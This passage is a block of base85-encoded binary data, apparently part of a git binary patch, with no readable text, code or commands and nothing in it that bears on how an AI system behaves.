zG{@b;0;4s(h$4Q?(!nwC8)J3Smk)J(r6kHs$v?6kcR>V4QY22(P0WVOz}xA?4i#g^
zogh_;(rA`Wh}lFC^dA-L?UV+JVcF7{{mdu#%8KSahUQJJriZzC393_7-F$iu9@U?r
z&g}DLFP*~5V6<vKRnFFT&2b+;W8uM@$x6l-w~=`*JPG$Zi~Q3|I>SBa%^=Vs9yfI6
zLh87&^TKF*0{Vbk{Cbf72T>Nj9b(lqOe(ukPupz8bM`ZV%r@3sl1GvkxXio$`Fq;u
z1rhj&+XYX}9C}A<-mUSkO&Gz`2hc^O#9A9%)%qQ`{VgwLpxOC?mPTs@?(I0ZRjxSV
z2prNZ6<DRLQ+&li4Heg*Nao<+o1$m>z&W0nYcsC`HL~KJ`sMa$nsTQJahygvWv+bZ
z`h}kvE3ZhVmLGUI7*KYmQZK8;-+LmbGD}!HRR(84wY~|(tOAfIFJ`vpF&X8!QVnna
zM~t?C>iGh3$ExF!N7;|q8D{%5K5X5RQl^d8G_qkOU`C1%_KQ|mxj=SHsDy*C1#?HM
zUj#npHw9j?)b4KhKrdS7UzpIu#9Vu7MTGDfz4>3TwBLv)!=dx}`WVM00vJ^JebsVh
zOLF2cnU6nzI;3qHx9*s)<|O9F&k*&bhpmQ-$`-l)Y%_|@&~eDl&LE<-@^%K*!cq>m
z_yc{+=+YUFdHoDy?Sqkd3EUerYg>KAnzb$&^0=HR4_`_=mu3!BFP-pUO3GaOl=xY4
z>h7j1VoB&$xzY{9&c-_EZnl<!$IXPjxGX*&w$Tw=qW=D^a^INGa$Mc{Lo@kyN*-t>
znL=QwyNaL4QdwaEtg^l`q<5DIHmGE@-{{X8YqLBzEMYKH7+1U7-*?y>c9^xipTL;I
zC_mnVQM7TGGyd||STX9Br6TbCp*d4kixM0Q?ONcQJ?;Kh{jSsIVxBy1Sd+rqP=t3N
zwXn3KuHA;2_;wV!qOoTiTs#-&VgBcq>Uw_(Q(AE8rN~f9o5^%H#Y`i7Ija9&mU;&1
zY<V>6FyONBc28vW$x-W*X|HmT2PC>HKj}EN!u>vkN=YQr9-c#)p)3=|X-@PzKn*<E
zBeCGNIS^&)FNv9ENZTBoW5UO?$pCg`HYki8aMLFU)|_dt&f#)gV!Grr?}^#&4Ni4e
zN#|twd2Jn8G$6J3ZS9ZsUCjX9ol$zxQL0xP>V}FnHojZ**^Wt_;y+PYc9TE#)LMBK
z-#4ngY^5OK>n2y+I!No_G$FWuzS<5#lGCYOHD(y={%2<6p0WjJ_*9)s*4==OjZ7)R
z3~18<<EKOX{Ym0JBYR?tn=@~)grCa;F{$lurN0q~#){%;o052rX{O`Wbb1F0W{Dv@
zi}bdI<ENvKQl}vYoR9<%Q9j+Ui0n(*Bbli&DKxPuf()}E(!07PwA4&WQHq$<veJg+
z;Y1fitUm1hA<9xQI%?}iq44<;47$X&pnRykzH+??)r$}H{*g%lHx7I;jlK_3f!*)o
z2NqI8`}~r9b<0xk^+tP}`$$u@tUPz*%ytS3KrzOB(Q{%+u<I^c+;v+M)emX+pQ|^O
zUkwAB@PTJZ4go`@draNH!H$@IiCj|JibBQeKuDm}0O>edU8y!$-RC!>JE)EZgL(sq
zHQ&$?MSW~QTtEWLr)S5DpFB6Muu~Ngnx2)EnwXf#MXNiLa`UJNhRz7=TdVOfr_zD#
z*E(-|#!C8w{-$`{YL&JzbwTakXw!!@O=IZDOZjE@%`J)Hy08X5#Z*<}6;2(8@0uAV
z-FWtH#9<$rxFZT#dm3##=q{mLEtCBtxQbdML7%hMel|?IykUfVAt#JpA4kk}Zk6o)
zg2!8ER>cHEVpPlKSR*kaj;yfkCrR9XoDZhMi*3F!(U-=h<DT1;CiMDgPz-Jmo175l
zEhHPauqhTlT#px7*~dSYK7ReXUy4vT*xwE6a|ll-t&q0xEl4?F?4yuS>?Eo#PkJ~R
zU}<gGUWn^&zKob^eF~h@n&qu&uih|d#AfV%Bb_g2diY3p-9ua{Awb}lO=CCguO(Jm
zO$R*|Q3lftrrlf0O@#rG`Bs&$j{IaMv>ce#=9|uJl~Rh8$o&f6e$^DT)D_neyxnJI
zL!WzVwb?vg^&6;n*cr})Z*RxTEi=EplZ8-lnNN2(8uGCYX*C?={e2L-v;)X4$7QrT
zXlok!xCUlHC)+}O_?s_+-zWEN9hbn>71`_#*8l=B_x>u{{8IE-UL?7^pRy(2p;HgT
z2AchZNpmxb#^ym_k}ns&1w-H&PBl3}Y#g9uv05Trjvd^l#0$D+87#U91v`=@oG*eM
zh9E@9&<e~iOoZ543N$)W?wQ~<Oj3@A-Zz_!ux=A?NwuW;t}x!!QpkYy)6IwI{n$<1
zAai(RT)UImb-RM+dm_~QK)mrC>mWEDnZav72iYr=tfx|=)zJ9xwBAcLH8+Vi%E<J_
zx9^+Aci%wBU4J;yy|COJsCjZ?OM?O$EgdzsY}l26@n^!ahR6*sX^F0(evA*t4)HcG
z*~{Xp5G_>P`+NlgH?C595O^+dw#IRHCHo-bq63q>FL*R|l=DPuD?=TOq)*k*6IUn%
zREV3$<&XF4Loz*{mh*g2ZAgh-UDFK_(df~<1}B8bs|qlqQOM7sg2L0s<ISNX!g>2k
zMUp4;Zpwlb?}m*`ot@*>4CcBuF(2{LY*V6we~_a;JOLct=ojeiRmZK~O-@rzKFO_4
zc!hYoB$06<*zwxi$U4@rtxw}9^K!N})qA|}&%b8Q8!Wic?qqK4QBy<5#QTVrouz*4
z>fr8qsy?b+Vq@-=k6k>R^KBMkE)qgR8i6-rO-@rDUURHcBRQL*(?#IK{ss7+sk~*B
zrCYP`a*2B<A02gz@N9d+wxEs^5pNmfHjG*z9+Zs@09fhD#&$Hc$OSl15jHJRSJwiv
z8Se;6-0ppqcM?_X_D{BL_y!re=jIhq*3?-cAuJe6N5d3ls{EXv8E^DfKd0g|SQj%`
zPi3@;6DqlHFk<m0S9qb(v2Zoo4ksPi-y(L6DAg3Hwbm&sn_piZm!~C1i%=T9dWP>+
z1eAr_Q~n_Mbr$oHo#LRtiW%omIqdIp{0;92dCu7xSK6ktN5l}9=`m&rDClcpu@sU9
zb;GLS8uC}mDe3dEC_NZ4YNYts)ILZHd75JFm@+3Q{nar10pMTxGzkBsAfB%q>rikT
zwpN-#A}xsUBK$74hlY*jE4dyX+Ylqjk+YnETxH!7w5a@6vUU;Xak?kY1<}@{?zUx_
z$GzGRrSFGAhLut&TLW*?oa}vGesyklzkg*%QtuMPYaJ~^TbKCxU9a6RLbdMNt9rG3
zCp}C<+`f=dE4F`3kX+IFSkhJ%P{^_A2`<s-9y-L&C0!oXY$mtSn<H;I6V^eZ+UA3v
zX|L2@p|43c$k{9vF=1>;OM1Sp)q_!&IB0W{J#G8d+{wJzIZ1QaM(|7NP`&4(-Ajn|
znt;7-7^C*)a9TOV##51J`z)l*0iK?z#4mm(&f4I{^VXU{zs6Hisdb^FDnZqOVmj86
z{z|{0EbyyStcC0~fIoM6DGTge=sn0$KI!FVKk4cGEWA9zmQU?C!59F4YM;sPX@du3
zY}1L%@e~t;9Y`pdYHcSk4;g-@z+X7OG$@_u_M+LQqmnL7@vKuJRD?OL?<+K5kQk-|
zTdY2GYb!HczY7L8$mS5vPBpyNTx(^;E1faSvQQSLe9#CmXZ)3;MiP&vujY^;IgV?M
zk7X1(mAai}G80E4ZYf=nX01QUXB?YMVW(hYB95A6h`6siTr<@_5b0@EI_wdeS<x(x
zy~aDDN7bLhz4}smsq|8sSvLJqXj~Yx@6J435S_wXNoO^6M=RZ0IsM!Hzh%D)ZLFD{
zK7Lz0S-VMgy>cWw{q_9R4>amcUD2v_6ybhWVrx3)<kGj?iL=E{%=(I)?@Iem+_Vw&
zNk!I7pp@rMs41EHMCgQ(&K5xP08CNv%f=ZC+b18+7yMO_AA+I(?Xzku3x(k>!q_GL
zyL@F0gyMIAfoU~Hs?t@USN??>Kmbbb51omRcNKAUGfO2c-e`f2=-iZkNJ9z7=xBo;
z(n_*9u6$`xe>qS3*@m<5tCDPm#}PNF9b_BR*pp|ehu-N@6BfDSX+QN9uxvBaHT%<8
zf54&qO!T5VqRU2?y5mH=vrNT=(Rb26Cz`LdQ0>=lI{X0fO*a}<1iv@vKtM(ORp#}f
z*z2#hB2PjfKNX{A_i((i&#&p5-o?9PtIdrmxtrC(?;y-9rkONdOf@xDt*3N0ugd$)
zB35#`)m?$P@?!nYNA9D2WQjKS^wwx?V@(*TR;+~=UVUE=4fNbMeP7@dRLCCvkOBr&
zPQB8(pdgt$XmjQ5+vc3s^SR~O-xX0Ms>OoB!@4wHK};@#%C=-(C*D>53xo&w;gk`=
z+Y>X`$x*fDz*m`s?;7qN>l2&gqP49-hx2H-Kgi5CBFc=pSJi($^wwm|fW4HlBmAeL
zOquAnxZ8!hG?`i-3J3n;&h#ObTT98HLtXh-Gg42684|L4%Q*wJ-dJ6^Xsb^mY+jw0
zuhR@q<~)qEnAE0uI?T%@T}H&Ly_{#4oV2>?_7C}gbqfL^Ey2&YC_D~(Oil?N+2>0h
z5Us8`Aov}wI6TN%q-pdmp&`}!2+x#{Qn2@r`tMoCLA5(yc8Z<yhZWn);aLLrf}R^r
z(g!RLYmoL-k<%CF7{qizA+{|Um@-Hx3!w5&U7|9G*SlMUqA>=FptG?i=ETV7n!jYY
z{6fDx?vg<3aGq{eakss*AGzWu(JmCIxnO%?jT)Jb0);}Vt4w7^D&YtD{O?D<9ZAf?
z2#o=Vlist{ksEReY!nEW>Y?TovBe3j&}JB^@|}^t>%#J>&}stgp*8aXdu7?Us<i^U
zcA?)6dw=WM9F6w)n22olA$y^8=0n$M7&w~-0!9xxFyyPf>j%Ut6huNFqnxr>2N;hH
z#hfeIJ|yQ%ou5&&bx^&7u*}1xZC1;!Mi+S0l*srLI;tH7>o9uJZNtY&V72r6hG%Dm
z)sGc_zOtO%K6@;Of;U^ZhUH0{T97=iuF2q^7J&WfW=t5i9Mq1pt@68kr#mT5{znvQ
zb5(E)u2BijXfxpzvOf=x8UmhoUNu86?NWL|Y|*!7x=dgrHje3qC%dUh58L}Hc_{bQ
zl$&HcZQb%cJF~rrpy&%q)9vgquU0+IXC<MqpBo4c^nVl_z)g8S^Q@G9O~6|LIuzI5
z-aiyNEqhzfPu#<wO(sOWGfkM<g95_nn$vpLh?w~8wR_b^cS)&H)0h+65MIyoPG~&P
zE9$5#Jd`!P3OythXO(~k4jv1Bn8-hW9?ZMWx<76(MwaT-kbIlfN$YZS3l)%jJXxH%
z8`pQCyhf^K%KRL)@N?(uW0`RKfH5W`(tx*t-Q|pd()6O+Z0x`);?2I@LDd_h(h9pi
z%__C_0mS2&#f$6q81<fXhoAAeQ8Orf{uyNsf5M*p4njc?=P~p0B6mug1^F**hf?P1
z>7D7$IHKIfXK&{ps*W>hos|Bn4_b#uZ|y5jxqEmL#^r72I!<LZv}-O0>lY{_tHkQV
zw4e$&NV+Q8%i3JMiJQ<O@ZBCINM&UhSA;<{Fn;Za9^n=1zr~}b3)q`i5PM2P!%M6F
z-C?QW__T5qdO*9KQhJPu<Z1ogW38D{ay2@x%rsi6j8u>JuKE#wtY2aTEPj}LMSy)j
zj>^)npD9Z@^&7w8k6>7;w_w;KnnZ9Z`~`nO&+*fspf*6?hEkT`MT%I?`9+4n4NG1J
zd6{V;gO^uz1T<0v>DQpoTavOlad92vW1Nc!Bo?NxWVxANBzKHc;|pLBt|LvIbl2Ig
zMtRy`oX*c1m?xxZSzf&l<%e_JjXj;mZLtk_8dPv)a(E2Y_8&jUWxvAN4*1$R^+%!v
zm-1z^f{gd_TZ!rvpZP1!t6jA{p{E;1Ztg9jzj(?sxm9-B<(t9W*ID!1v;^y@7Ay+~
z#Aj1g;@8O%mbMIWHJ2WQ1K&|7`&%<;T-IMra%=vEQQW<ut!g|%1MgVo%|H-~xy)5X
zcB4H%x64$XyJiqwL!_sFlqTTpwvC<tP*&AUPkt;{pbfB)>ix#$kFRnjMen>a3d$O9
zI(C;wJ@Lv_Fo+7%mh+rzxH8W9z=IJ1p|2#V>%C^Zl5#P3zXx<E#RFas;}@NkK3Y=z
zc=~^ikYY#rF`D?MH$WL_5kDDKDsa2&c>mtvI^~cwiBsug-3?!4lFfU!5hYb7LlB_G
z%GK|A8LCmjN>`3wcdlDW$}d!ksBfA^p9rN_CGoy`DlNPWAiRB54ZINVyd0FR)d%k0
zrI3D~UgeGJ<DTqh@PL9k4I*gAM1%)?|60D9T&`zIe`KEoJAcw{KTP|+|52pjgv7>z
zcm#bXpLcqa@gjr0h+}FI`7IUs^XcA6ho*Jis>2M8=i@YiqlWc_O+*6<=sKF%s^Z~~
z%r7XRmqJ=VNZCNmSCArn3=K=Ml4VyVRu@{9Tq?<~^_L$DK%jH_yD6;cC%OIr`Y+IQ
zF*C(9Eo60c4}UZmu>y2}vR?i!9M$xOfJ(8xj>hHoTc7XpYGxNL)xayDRZ_;I+FL_X
z;kvigA;2m<&Dxu|(sJ!KF0D~NoduW}Fyg#d_@1;zE0iWNR;~fyugI<xp65R0+WcE_
zR?*GJ1N*1j9llE=pBagX92>Y+wG;E5A}({@T@CEsF=DoHS<uxHO-ioG<WhN`0jZ|C
ztft(VL0)cMEaoqji9t-PyzIv*ymHo>DWY0EpAWKsyNe?eb|vSZVP@<s&dD%Ywj)xg
z7~G2c+g|Vl@%H;pVYba?qNQdHS`*R1=-Hm3doO@;HTi`z2siK4DtY2`a4OQ2(;o}e
z(2StNx}`}s(ZdyOw2?XVMQ>O!ZJTX5Qky7MYw8+8wBbn8FWU6{0v`J`=vKXTpIR23
zYVs%I>FcZr#8bfFXZ?2Q;zP*ra|wdUg{JpeX}g7sYay5b8K%-S#AGtkT^bl6QjY_%
z=gyM=*AN$@YdF-<R9wWZjfOOZ$1?`9Y-UHucywNvhA+Ht+}^P?{N=FhS^I%GJW92e
zETro-uA<2?xl%2=tGsi~uO&Ro6>uH5onAjtzS;wcvhAwaRWB)2%4T)-a^OeUa>v(T
z{tZNj^pO7U=2Nt<=*C~WW?8P-T@L$7?1Cs^JE_q#6p~!npjK&CLuW0;jN?w%8aHX6
z{VpQ6C<saw5Dg7NAtWYqR|R{9XjA50LP#(21Av%hTJk}(Ly)2p5;papSLh09g#PG3
zB+2J0mj9ybN<4%Sa+yx^(v!FnHy2iaAmh$QQJjLd^~crcxZPd+ep5H$YkrA7#x=Us
zVA5XiZ7YP8`hAJTDp4Cabt%jB4Yd6#%VS8t9klv>ofZ0VKC|=t@62#J`DOWL@!J+a
zKa8}9L1nQ&e${849lpdbwp$S;b9q0#7OlDR8(38<fCx8s)Xp+G{bSSdnD-onGwog;
zq-EAii_+KdsF>QN$Ft23CBN1oy|;V#U*a);7rfyxe6bl#AN=j-roIU6x>>BvSD>g(
znyoqtUdmzWUz5dAGe3L1ltNzFm?_v7<|>prO;)byR!mF9b1tXw)K#=pFIw!pzLagJ
zduw|gePZ0!U-3rl9rkzM5nWwfQS)D3X`Ms5ud`GhTUl9Yu(ak_NN;HgPaIVa7IX4^
z@gm+3KYVx9Jw(|bz^23Hef15WKaE+yZ?Ml#s;3`uj5VYB6g{zL?+{(qa4sEYu+3d_
z0AwF6Oy;yKTf7T$hI~s=skISzZUkj{{)WWY-aRg+jbkKtT-l7d3!ewoCYzqHwnlx!
z{;#4&MAz2Tg7aH;>tq#b2C6NY6<}UWT;fUmXjpK#QHw2O`myD97b~`ffZXHioJ=Z~
z$>Y!w2UF4yC@%x6pzu4`Kv#9U@ElQJEJ#o}B{nor4<ONN9V&_uj`XLT1hDtH6hgR4
zK;J<So8u2}sS2~=pwO<Z2>(MMq+04&ci4VFO92vq<_EVUTDGPV`>1oFYGQ`=h}Oao
z-OGWpMV-#I)}Enuq5O_@7+SNk_A@)4&TkrvVoS4RbN0=Pb+|n8`Uyt0T}bI3`A5(b
zG)6hwHFm|hoT)0BwxvdHoJJV#2GD8l%RovE9~ijO{zi6NU*<Y9_w68S;c`(uVWka*
zJ=kd9>O||@%bRQ!cpcezK<#;G2;N-;`4_nE(yw!?%sh+^pVZ4Vj?fp3rt?Mwnbz3D
zMTHz6z3X^9yluM$$^$4OPfA8?myBt`z}zZv3m)DZXx(ofX!g=8&D)ijEw8Y9DPScR
zE;xJ%dzKwatz)VRGkx#XPrjx#c~cAcRIGRFX;;jrSXou{b?;0hLi3!agcsmuaa&us
zZVTXBGT+KaPb5SVF!uNFUqI&GMR85+h5}LtCvMU4;IzfKCeMbo+|@@Jg5AqO;4<pG
zRaSkbR5O+B>yE?2M6B9|rBdcO28z15#0{y*c5~2kA&arF%k0tMnLziS2_7rmLRX>1
zmd2aO42g2xL_AlDAKHHCkq(F?k-W=~m^|_*6B#B)9hVhgP4Ev{6Qz4_2WnfwzfD~e
zR9I#aS_jXYdEJHye9@vRRmC*9wCN<Cfv-ufQrm6kwUI-YXq4A&OdeI>Ap$N7NSkc2
zq%a4n=>R&%Puc!fQ3e~lP804X_(>4H67OPPEQa-Js^%apqsJ;hY2S^i7-|k7#)W^^
z332=-Qi@iq33y0u_w`n!2IZhn$CeqZ<mwK3ImwvU6dFO@SXP#eMIx)<`S}GsVI933
zqDx_^@Wy9p^EAxY)+?5+ldgkr;PykrYK!;z3fq48&SOIz6e=es66FjnHgI>V%5(Fy
zYVqAx_ZeG*9EvR&%L&epy6}NyUcP7iz1KP?>`#SRPL{{Qp<_SvIwtsh_aDkuf94}?
z9OG|T=;fY31IP3wpISsY=6cN+62@;b=R8W|6pIKX@oE#5OG`#??9UdJ8*3;o?~T>V
z4UbNG|7N~xtVvG=`|=sC+QQ|lhiNJI6Q_UYuRExBxRfDm*t{0>nI{RDiaMh3S%)^s
zZRP!LCDpRO=H|GI)U9mU5@(3yR<onOf-a=1YBesSOeo{|9ddjVl4G;b3+xrbjlU$*
z*{5Rt<anc<cE9#HUX`)@7=#<7gz}NbD0Egw@#Xbg-SB%fM_6`!5)VEnDA{|J&OY{8
zQ{|UE=ga+b^m2qus`7cVp;MvOmC`aD<W`zuJn6;(#Jdv@er3N?fS6Tq6rD%i5_AZT
zB>U`038ID7uju)=jU?nRP)x0sb5tt3{3kz0nPL*Rf;*bHlG@szlFzNT-0mw{re^k*
zP+b-3o85gX;}S=0N@WX${63qhkVe@jOJeY?5yJI`s351q6;Q(ti<P=mQcP8YH0jG=
zoZHeqitm+R*icP<0I*+7^(t7qt62}9B29TBY(W9~M~olxRVZ}}sv}qs4fl!9p($)7
zN+PX9R%c1VNy#v@H?IZN)Wn>1;*KamsTT!byu)L40d)Q$A(<UYKwnBpVB$+`o+;hR
zR9bo3-$a+Y$Yk!+j20{Tt6H_P<py>7lE8{|1K1>htD|o=WnH#iiLcOkQ=Bk}pol%R
z;s%e+wZs`Q$>CKz&qQN=p|yE+215h>ad(ORgePV$FMA;k$L}W5INK1%mbgs1SN>C_
z2BUJJj{AUcKIT_p$NO8}$?flJ_ff^g4K<iAcM8YcW7qV1;b6r&UkVz4;KbrvV}{RS
z>PJ0@Y48-1y;9e;+>GNS$Lv-Qy4{02J=zrcFi5w${iGguj9$P**Zfplt*0tScY%Dd
zkkqN)5|+cp)RjAL5`kXC(eiIVx*uxn!yKr~nYI_PYAYSR!=7B(F>_NYw{-uY7E%g1
zLv}Jkw{^XG?;SD|+49HV1oZD~t0zXoY76={rlN0gY>rLkc8P(M7b~h4I&`Z^lXJ6k
zv9TxmO@5|*w|s0nNz8NvJ)!N-s`uDbmULDFZmj|+7iRzTZP*}5icFw4v)SL%+eIDw
z>n@?4Ya?U0lmuOLq|PuX4;4`+UXGWzshbk2(zF{T9lo{Tus-nAR*ENO#L6i!7be<d
z`Iki%Qv;|yvQ7DJnTNwH80aApbS#HU+p6FTx#~3Pd|2=dC65$@>Pc&9N5nJeg7)K#
z!q^cp5%lITGyy>>chP!kAeGU;-{cG4b;^4K1n&Up4hd4&1>VJu71xnb3m;fTbYwiw
z-WvLGm{%iGzw=r*%NH%j-U^0J2~W{`8b<wO$yY3++l7vYs-B02gtuas_7?l3F~jtX
zn%9E(Ek4XavrmyFzMUOmhE}&f(b<d*w+#6RD!4${fsS)+x$AI9=IPV!o{mwaiR%T@
z%#7CM)ptu8rM-%cj`3g}mG-?K^Or+t&mr#xrdg%cPFi6uwIOW_!WC-{hWE5@N$<L!
zC0Wx*akJzv>Ra5@f)<*x?m}dms9EViD=5X%>F*c(zF|-#bNYBq`;wjcWtTdO9W7|0
zlRW4*Y}8hCt2_37X3BcuOs7`L3+m*^!2A8QtmqP~iSUHReMZ$dYvf$JB6AU|T(!#A
zX#05x8}Q#zs_)tSbDj+cjLUVEw7}Pa)rQVC(3la0=SQ7!LU|Fysn*S!_wcHd#eo18
zBVl{a_5KJe!+iJFr{L^BWA8s*OKoWfda2(fe4Jl9_X>Qg2u;7C6&Gh;)wJ-@hSdVm
zY|~>?)!iM;Z6w#1t`M&MUY56J0H7?VIZ#o_StLDZ)6!r>ug1#rPetN9Uy+(npSy*!
zB=Nf3@N-zYmwUu*p*Bpi-N*k?j_Aj^1?9wLoNG5ov+;udgFk;B8FK=G*RdtB6t$w!
zMi?J(Q2aN6NjU{{)v;)G#qd@5X?-si;|I>^#GdHC0H{<BUgl5|kIpw|dwRFt7}Z@F
zU+F+uW>C_{d4GvB6fjFlF|4X9J{OgwnPHZw`o_}~`P10CwjxM9lYeVqN$bO@XON#F
z**<iDGxNnus95es`R+5>>jythPNZiG%pC(4Yt-K6iKNEXL`{av4I>87A&d8{y9v0H
z9K3$?9Jmgj&7B|S&(~W^1!-^8Q|jBDbPJ!Bx09}x3+h28?A-*<>GULI`E}B)RFm!_
zpST1D5{_aiOEw7WTO)p}j<I93&E}Ju(pN9LgKt#S+?OXtq!4xrYTw3ZP-GM%H;x0t
zTr1g_$FawlkGwaV88!z-66)4fRe+84$9b5kq0Agn%F@#Z9rFURJaG-Kzb{wPgkl4#
zxZoEp_?oDI5!uj$+1Qn^yVJPd>30PwaYUD`4oB|3Un)H_X+!j5bou64>0WA)L?k(i
zy(R$h?c)`IPIO-d*v*`8z(Np23abd^g!<)lcV=WFg)79}_Y+4g!<`?Ys8a9k^nAPm
z>K!7OCD^g*vnhj1qv9cOW^0R%D(z;xL_pl^@U)bRyusS=Qa<;FGTKq+FMm~u>&`9!
z^N-LgYYlFyk0O?CIEq%^Qsa`7k=3=bW>b^30ZR2Cs}DfpeE)KF>{WAM-Qw(xAA3O3
zUGL$wAMNqH+ig02z)%^cD8Bi~&Do*~p(}-=Io>_tt%pOC46mw|jR%_;w4(P%G8Ir}
zc&q?Km3#@KXL#2fQ)&Y5-QYCTZk(2W<_GrB;H5TTRt!r=09;uIcRRKAHgyue8k`_A
zs#G23_3|hyI!%5sof`<|=;-G=-fl_9S?k?aAu!E)cE^;#G>)=#Lc^f)W{`c-)LZnt
zmF2Tg`Z<r4+vx{pPzy<8;2#tnG1Q!K9f~6OHJhKPlOjGx8wUCH>_;QrQ&l_I`F$hE
zG0kc+(v8zKKP($FfU$ISQ(i3~gX)EU`^`@MD&U;jPS<3nZzd&PnutL4zI&NZ!0#(s
z?l~UU4$R{BXu^@Zv$5b{ts)ZqL%7XnXbpNdsN94yPao83vD(}r@4OZqLCIVzaXvH-
zNrO2kT&+L$%o|u4B;O_ZV|xqm62>TSRs9TE$zmJckPeITa|_>^p+P8Ix^_>HlhYY8
zmDDUfxp!yk+D|i62UrDF%IaoF`t~r<LKbx(ByEqiLv0b^qn119VH);+cb&XD2k=^*
zR6CTV`)M@G=xckT@teuYL}!sGEr-E){EtQ@%h1uQ@4>I-y@EaNAi_XNZz*W=H&7?`
zB-7)Zy%eGeM{RKJ(g`Rp`az0P=?e@1IQSF@G)k^%!pMJng3%0L8YIs{t8Kkozcg|k
zUV~qAwTNoV=FV>TUQ2TU3SEd(rQt7=6`lz?yIsl+%AEt%^{PsB#d2{sH!Z|3t|%-n
zHRZk1Ue7N^<MVjgozTZyy~sd)F8X4gqqod|Jqt|0SK8ts^%P{|Qi%$wq7p^)6Lx=;
zRWee-9KA4YN2Qn#cDJ%TCUdJaIC+_6^yhxSSpX{5GK5CBAMuP2dzBV6dOyfG-j5^S
zrZ{Oo`%p!OL`|l_cz1%qhfAH-i)Rg!$c|aO?sui=8>Q%l6zitxSV#!Nwd#X~jrGRH
z4LGy&L?<IUqO)k7L-tF}IorL`>g_#=`?0Yc{p(oX$Gc)Rjcy8z;g~`l*=G2o*H5q+
zLFx)vBxZJYR<?Fl+t%D4QiS&vr#xz_9oz_`+`k7X)?;7Vmte=`(a$XE7k_#TkJaDs
zSmn=Q#J8HrqkQF4oGkdVQi{mWm@qLSvvi&1W(jZa;dT~wv!=|micHAmbd|w`)_|Hv
zMn;y9xmoJw2}H>RXO8Us5JjV5(RR1lZ2M)%pqHAl+{Ab{9@cL^dKqC{doZqgq2bn+
zhJ(3+O}PgZU2;zFaZ>w*liK*R5v7R;)Az^>C=APRZwOj0SFEojMv^xXWzauru6S0|
zelAy4d)a%w8aX3W*R2plzuz1Y85a*LTujyH=rp|dYxYZ8|5VB(9G%mV7*lh&$s&5+
zmR`g!U~n+4-{ZT9FUocy4tiY9?WnX&jS?OJ!p3<HN>?)fgHQAw{TB`p;A5wRWEyzx
zOxJ1nfM9DBn-I|QMbq|`5B=>p%ctI})^xLy-$0Uj*j3Bq{eC8Gr*oXZ6G<J1i-j5C
zEx>xh%l>VI)`7deQlA29SLk-Ai_}}<XN<Fmo6@cdwV>po;sVzPQYSIe5Q0Ky8dIKx
zmDVYC+oIa1ss;^?Rw)`QHz%R5Nv-bdxDxmA{IV!^Nj8daEoq0dWUXbTo0rq$#(+m8
zXTb74p*B3t)6(-L_qq-XY>O(&c!%1-ocuToOcN9BDw($WQNq}#YyYG%YJ^57>NWTq
zCd!??v^F>CAxl{I4dlhPBDXEg6@7TVG!*GOF{FD?pUFrjdn#_6eA4fYKV$n8y8XS3
zg{%w`#>nA?LrW(j^UDy7aIK(y^20OVIN8q~NNdM?3%lfexV4qss*!@byM1HBp*2z7
zJq9yvM7g?3!{9v0A4{L%RE`MgT0vQv0C2-3IXU#L1ul_suyNCCsV;eC)7xcNF78Q)
zKu*!4?1~G@z^{1L;v&4tWPt_Es;b9nunWTKoKEp+Of>cCAK%1<7a3_(`RU7x?~Kd^
zo2wOx*O2t-#W+m}c1rJC=eQ?anpILVGQs>J)H-3&rUE7mYQDn+nCJ-J)a%GP%0QW}
z&}9*G_a)`E`j&_74DeZ+>5XfS?p^-D@mGf1odGCGgPUD3#kPPMI_>-8bgD2<NzI@3
z<XuHnx2fc}317Zj_tVxO(8eyz$zXK%G<H0QzSS9W$enKjHl<B3M1*gXWpx(05C>AJ
zX(+$F&D7cnt_CAJq}{ZH>O%GZn05HBcGkRHZyI?tQsb#o$wl+iy&Ldw{rKXCpYLSp
zVkr}t(4n*WWt*~L@dJ{D2&IMkQPkUt?g~^n^qFfZDm#s2*Nzd)-DGWK)N*P;fRh|i
z9oeNA?(lZG{DPd3_0mY|@VHDisQjT#-KG#$hAsJ_mq*@RyM^4OEYa1&;cAORJ^L^a
zqoSiGm|UP;t*V32B1d;sk9G+UPz#U=g>)2m^AV>Z59(v1|GI4~((@TXF&Yy*x2M|q
zFq}_7Z0zSIUh#&jI%tVZdY`oZO{xD`Ro}<7*u57*Y1-a^@!6rY)(#zCI5<9WCb%`T
zEMbtZQ|(ofrRW`e>OrdxR~QK{S+Lf=ZY%PQMR1b(?A}yN@rqzFg|ux^GBl?4%?4Gr
zbHhoAkEi1KSb#si12$sic;2yfmXg~{-H|9rnRbLrd$Dj}+)hTSspgwXla{B!6bLqJ
zp+Cyjr3&ND+tv?agN0;xzo-nWPJwQt%rdXhN!3@a^f^P2k0SAdHSl90oe2KSuvGCp
z|H{Ifk;-g!iuu%%$i4J@@i?6F0Zi*MP|&EZY<bzsM-P(nY%u5_U!EF1`RQBAVs2dk
z>zDJ9bsN!5uMHe&H4g&x+iz7g#W3g2l~0;!WLMn=o8~?N+p@-W?Lf_@C;`$sm>(75
ziowo&<-vf7)8p)ReGMfpp6y#_I5e_JgnUS4Fy|n6|Lgk5P2m32?`intae~k;gwNdG
ztzgK|5b2h_0_)zZjO9K0ryVo_?q9F4`k%_P`dg8!B*P`2x-V{h?*$JF82DG4J?nQ?
z0=ftTRU$Kx2%m~DPkW64lIfr<X<D%Ddt6=Q^VvtbVafEL>Bh$q=_4NG4hJtm$!hP<
z?@{+Qh4-GGL$Ax;uXnpnP(D)`@Mv~-FWr0D2W{^8w-JECZ0>i<#U%gtYwciVGG@tM
zeP%o?_8LTp65lyLDOyEe2^sIaG{}bzKG9HxP?JPU5#_BfWg(x_gj$qX1n;mAOf^$}
zK^SZ!ln=ou7N$`lOfSgcIiJQK-##K}s{_a5lbCD6`%<sD_D`@51ygh!{J;{UBu-R(
z*`8=rew8chLoE0(KbMCdCfz5xf3A|&EhgRZs@fX9mIb{m8Hg69v?)vM5=eh+wvn4Z
zja+40p&6Q(PZ#<{Xn7y!Kgi09$3_{C;QWfnR$_WjFGY1_<c`)A@WCc?>{L{X6(S~H
z?cy`XaAqpg*>E6RdFDE>Y$Ix+5Y&Ht9)iPRUNLc5nB#C)FUw#(FEX|`uTVS1LYX6m
zxNTyp*nV%)x2yhYb!C#iTy--!UN*M)mQ%Z!AIQuXX!Nhs;fJG1Z(@vZ2;Q)@{an-*
zRo2@|0X?~>vFT2gw=_Pr$S{OeIV|Mgd=EEY;Ba(!yoP$CzpCe0giKCY{*g?+s#GMM
z(c$6w!Q!N(acyl_Tx@%oVOjnygTq-^Bb&x~WVqAmaWUuR&Hmw$MHIhR&o*mJ-LYL=
z1*5atH7!fA`FSX<8eFzcrUjI@cNb3_n5U>^7ZpTJ$~ZFNA;XsR{W{V5klj9H?A6m3
